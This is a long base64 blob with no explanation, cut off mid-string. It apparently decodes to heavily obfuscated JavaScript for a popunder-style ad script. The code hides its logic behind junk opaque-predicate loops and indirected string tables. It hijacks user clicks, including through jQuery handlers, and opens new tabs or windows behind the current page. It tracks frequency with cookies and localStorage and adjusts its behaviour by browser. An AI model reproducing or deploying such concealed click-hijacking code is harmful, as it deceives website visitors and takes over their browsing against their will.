0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGV